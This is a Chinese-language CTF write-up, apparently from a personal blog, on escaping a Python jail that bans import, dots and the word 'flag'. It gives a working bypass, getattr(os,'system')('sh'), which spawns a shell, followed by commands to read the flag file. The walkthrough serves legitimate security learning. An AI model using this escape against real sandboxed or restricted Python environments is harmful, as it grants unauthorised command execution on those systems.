Escape_From_Jail-50
2019/07/18 python 沙箱绕过

python绕过题目

==
Rules:
    -No import
    -No ...
    -No flag


>>> help

Documented commands (type help <topic>):
========================================
help

Undocumented commands:
======================
EOF

题目给出了要求 不能使用import 不能使用 . 且不准出现flag字眼

这里需要思考一下 不用flag就行命令绕过了怎么读flag呢?

1.可以 cat * 然后自己找 貌似不太现实==

2.利用python读flag 可是不能出现flag字符

3.利用os模块自己起个shell 但是不准import

根据规则 应该是我们必须起一个shell 但是无法调用os是个大问题

所以我们现在需要想办法在不使用import os的情况下执行os.system(‘/sh’)

利用dir()命令查看当前可以调用的模块

>>> print(dir())
['Jail', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'cmd', 'execute', 'intro', 'os', 'sys', 't']
>>>

发现os已经导入并不需要import

可是我们还是无法执行因为os.system(‘/sh’)中含有.

思考:

有没有函数能不使用.就能使用其他函数?

https://www.runoob.com/python/python-func-getattr.html

找到一个

getattr(object, name[, default])

获取object中name的属性值

若存在则当前命令=name

所以我们获取os中system的属性值并且返回属性时执行system(‘sh’)

getattr(os,"system")("sh") =system("sh")

当然如果不好理解也可以这么写

a=getattr(os,"system")
a("sh")

成功拿到shell 接着就正常拿flag即可

cd home
cd ctf
cat flag

附一些好的python沙箱绕过文章

https://www.anquanke.com/post/id/107000

https://www.jianshu.com/p/183581381c4f

https://www.xctf.org.cn/library/details/0df15ef620b075f288bdfc0ae6fe4eabe7cb996e/

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!